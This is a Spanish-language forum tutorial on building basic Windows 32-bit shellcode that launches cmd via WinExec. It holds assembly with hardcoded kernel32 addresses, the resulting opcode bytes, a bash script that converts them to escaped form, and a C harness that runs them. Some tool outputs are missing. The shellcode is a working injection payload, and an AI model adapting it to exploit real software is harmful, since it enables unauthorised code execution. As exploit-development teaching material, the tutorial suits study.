Creando una Shellcode
por lShadowl
Conocimientos previos requeridos: asm 32b y C
Conocimientos previos:
-Que es una shellcode?
"Una shellcode es un conjunto de ?rdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecuci?n de un programa para conseguir que la m?quina en la que reside se ejecute la operaci?n que se haya programado.(...)" >> http://es.wikipedia.org/wiki/Shellcode
Herramientas usadas en este tutorial?Descarga:
Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.
La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:
-----Categoria Devel----
>binutils
>gcc
>nasm
----Categoria System----
>util-linux
----Categoria Editors----
>vim
Otras herramientas y scripts usados estan como codigo fuente en el tutorial.
Introduccion
Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el
proceso en 2 partes: codificacion en ensamblador y conversion a opcode.
El objetivo del tutorial es crear una shellcode que abra una cmd.
Codificacion en ensamblador
Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones "WinExec" [con que ejecutaremos la cmd] y "ExitProcess" [con la cual saldremos del programa], ambas se encuentran en la dll "kernel32".
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a "arwin", un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:
Código
#include <windows.h> #include <stdio.h> /*************************************** arwin - win32 address resolution program by steve hanna v.01 vividmachines.com shanna@uiuc.edu you are free to modify this code but please attribute me if you change the code. bugfixes & additions are welcome please email me! to compile: you will need a win32 compiler with the win32 SDK this program finds the absolute address of a function in a specified DLL. happy shellcoding! ***************************************/ int main(int argc, char** argv) { HMODULE hmod_libname; FARPROC fprc_func; if(argc < 3) { } hmod_libname = LoadLibrary(argv[1]); if(hmod_libname == NULL) { } fprc_func = GetProcAddress(hmod_libname,argv[2]); if(fprc_func == NULL) { } }
Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.
Ya con arwin usaremos la linea:
$ arwin kernel32.dll WinExec
con lo cual obtendremos un resultado parecido a este:
El mismo proceso para buscar "ExitProcess". >>
Ahora que tenemos las direcciones, pasemos al code en asm.
--------------------------------------------------------------------------------------------
Código
--------------------------------------------------------------------------------------------
BITS 32 ;especificamos que el code es 32bits jmp short cmd ;"cmd" a la pila init: mov edx,7C8623ADh ; 7C8623ADh>>direccion de WinExec a edx call edx ; hacemos la llamada (recordemos que "cmd" esta en la pila) mov edx,7C81CAFAh ; 7C8623ADh>>direccion de ExitProcess a edx call edx ; salimos cmd: CALL init db 'cmd',00h ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio
Para cuestiones de seguimiento, llamaremos a este archivo "shc.asm".
(Entremedio) Como pusiste a cmd en la pila, no veo ni un push?
La respuesta a esta pregunta reside en el comportamiento de la instrucción 'call' en conjunto con la instrucción 'ret'>>
CALL lo que hace es introducir IP+1 en la pila, ósea la instrucción que sigue al CALL, y salta a la dirección que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el.
En ese caso
Código
y
inc eip push eip jmp func
Código
call func
son equivalente, así como son:
Código
pop edx ;estando eip+1 del code c2 al tope de la pila jmp edx
y
Código
ret
La conclusión que podemos sacar de este comportamiento es que call nos deja un puntero en la pila de la siguiente dirección, este es el principio del código.
Salta a cmd:
Código
jmp short cmd
En cmd: se manda el offset de "db 'cmd',00h" a pila y salta a init:
Código
cmd: CALL init db 'cmd',00h
En init: 7C8623ADh pasa a edx y se lo llama teniendo el puntero a "db 'cmd',00h" en la pila.
Código
init: mov edx,7C8623ADh call edx
Conversion a opcode
Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:
$ nasm -f bin -o shc.bin shc.asm
En shc.bin tendremos algo como esto:
Código:
???#?|????|???????cmd
luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:
$ xxd -i shc.bin
y nos devolvera esto:
Y listo, tenemos nuestra shellcode lista en C:
Código
unsigned char shc_bin[] = { 0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca, 0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64, 0x00 }; unsigned int shc_bin_len = 25;
Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:
Código
#!/bin/bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 filename.bin\n\n" exit fi filename=`echo $1 | sed s/"\.bin$"//` rm -f $filename.shellcode for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g` do echo -n "\\$i" >> $filename.shellcode echo -n "\\$i" done echo
De esta forma::
$ xxd-shellcode.sh shc.bin
Devolvera esto:
y en shc.shellcode los opcodes
Código
\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64
Ahora veamos la plantilla en C para probarla
--------------------------
Código
--------------------------
char code[] = "[b]OPCODES[/b]"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Asi que tendriamos en sch.c ...:
Código
char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00"; int main() { int (*func)(); func = (int (*)()) code; (int)(*func)(); }
Compilamos ($ gcc -o shc shc.c) y probamos:
Saludos!